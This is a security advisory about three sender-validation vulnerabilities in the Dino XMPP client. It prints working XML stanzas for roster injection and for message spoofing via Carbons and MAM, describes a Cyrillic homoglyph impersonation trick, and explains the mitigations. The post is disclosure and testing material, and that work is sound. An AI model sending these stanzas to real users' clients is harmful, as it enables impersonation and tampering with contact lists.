Daniel Gultsch

Multiple Vulnerabilities found in Dino

CVE-2019-16235+: Missing or incorrect sender validations in Dino allow an attacker to spoof messages and inject or remove entries from the user’s roster.

Introduction

Dino is a Jabber/XMPP client written in Vala and GTK. On September 10th 2019, while chatting on a public channel, a number of vulnerabilities were discovered in Dino. The discovery was initially prompted by a user of the name balu_der_bär who was deliberately sending fake Message Carbons to the channel. This quickly led to the diagnosis that Dino was not properly verifying the sender of a Message Carbon before parsing it (CVE-2019-16235). Message Carbons are only valid if they are coming from the user’s account. This vulnerability is an exact replica of the vulnerabilities already described in CVE-2017-5589+ that were discovered in February 2017 in multiple Jabber/XMPP clients.

Subsequent testing brought two more vulnerabilities to the surface that generally fall into the same category of faulty sender validation.

Dino does not verify the sender of Roster Pushes and allows any third party to modify the roster (CVE-2019-16236). This is the same issue that in December 2015 has already been discovered in the Jabber/XMPP client Gajim (CVE-2015-8688).

A third issue, that hasn’t been observed prior to that in other clients, is a lack of sender validation for Message Archive Management (CVE-2019-16237). This allows an attacker to send messages in the name of someone else.

Attack

The following XML snippets can be used to test if a client is vulnerable to the aforementioned attacks.

Roster Injection

This will put the attacker’s Jabber ID under the name significant other into the victims roster.

<iq type="set" to="victim@example.com/r" from="attacker@example.com/r" id="test">
  <query xmlns="jabber:iq:roster">
    <item subscription="both" jid="attacker@example.com"
      name="significant other"/>
  </query>
</iq>

Update: A variation of this attack would first delete the roster entry of thirdparty@… and then replace it with an entry for thiгdpагty@… (Note the Cyrillic г and the а). In most clients that would look almost identical to the victim and trick the victim into thinking they are talking to thirdparty while they are really talking to the attacker. The Android client Conversations does have some protection agains that and would highlight irregular Unicode script to warn the user of this kind of impersonation attack.

Message spoofing (Carbons)

This will present the victim with a message that appears to be coming from so@example.com.

<message to='victim@example.com' from='attacker@example.com/r' type='chat'>
  <received xmlns='urn:xmpp:carbons:2'>
    <forwarded xmlns='urn:xmpp:forward:0'>
      <message xmlns="jabber:client"
        to='victim@example.com'
        from='so@example.com'>
        <body>I have a surprise for you.</body>
      </message>
    </forwarded>
  </received>
</message>

Message spoofing (MAM)

This will present the victim with a message that appears to be coming from so@example.com.

<message to='victim@example.com' from='attacker@example.com/r' type='chat'>
  <result xmlns='urn:xmpp:mam:2' queryid='0' id='whatever'>
    <forwarded xmlns='urn:xmpp:forward:0'>
      <message xmlns="jabber:client"
        to='victim@example.com'
        from='so@example.com'>
        <delay xmlns='urn:xmpp:delay' stamp='2019-09-12T23:42:05Z'/>
        <body>I have a surprise for you.</body>
      </message>
    </forwarded>
  </result>
</message>

Mitigation

Before parsing a roster push or a Message Carbon Dino needs to make sure that the stanzas are coming from the bare account Jabber ID. (See RFC6121 Section 2.1.6 and XEP-0280: Message Carbons - Security Considerations)

The mitigation described in CVE-2015-8688 Gajim Roster Push Attack / Message Interception mentions Gajim’s use of predictable resources and how unpredictable resources would have made it harder to modify the roster of someone the attacker doesn’t have presence subscription with. Dino does in fact use partially randomized resources and therefor a trivial (non brute force) attack is limited to attackers with mutual presence subscription. Alternatively it is also enough if attacker and victim are in the same group chat (MUC). The latter is possible due to the fact that most group chats will route IQ stanzas among participants.

When requesting archived messages from a service the client has to make sure that they are coming from the same service before parsing them. Usually, when requesting the archive for one’s own account, the sender is the account. However when requesting messages from a group chat (MUC) the sender has to match the Jabber ID of the group. In addition to that archival messages will be tagged with a randomized, client set query-id that a can be compared to any running queries. Unexpected archival messages that are either received while no MAM query is running or that don’t match the query-id should be ignored.

Evaluation

Even though this was the first time that message spoofing over MAM has been publicly documented there is reason to believe that this is not due to MAM being less likely to be affected but rather due to the relatively low adoption rate of MAM. One evidence for this theory is that Converse.js has also pushed MAM fixes shortly after the public discovery of the Dino vulnerability.

When confronted with the fact that the same trivial vulnerabilities have been discovered in multiple, independent clients one can not avoid the question if there is a more fundamental issue underneath that causes different developers to all make the same mistakes.

Both RFC6121 and XEP-0280 mention that the sender has to be checked. However evidently that hasn’t been enough. On September 11th the XMPP Council voted in an amendment to XEP-0280 that explicitly mentions the problem in the Receiving Messages section. This also includes an example on what type of messages need to be ignored.

As of today (September 12th) XEP-0313: Message Archive Management has no such explicit warning.

Noteworthy in this context is XEP-0409: IM Routing-NG which, in the mid-term, might replace Message Carbons. IM Routing-NG has the potential of being easier to implement and generally less error prone while simultaneously fixing some UX issues of Message Carbons.

Timeline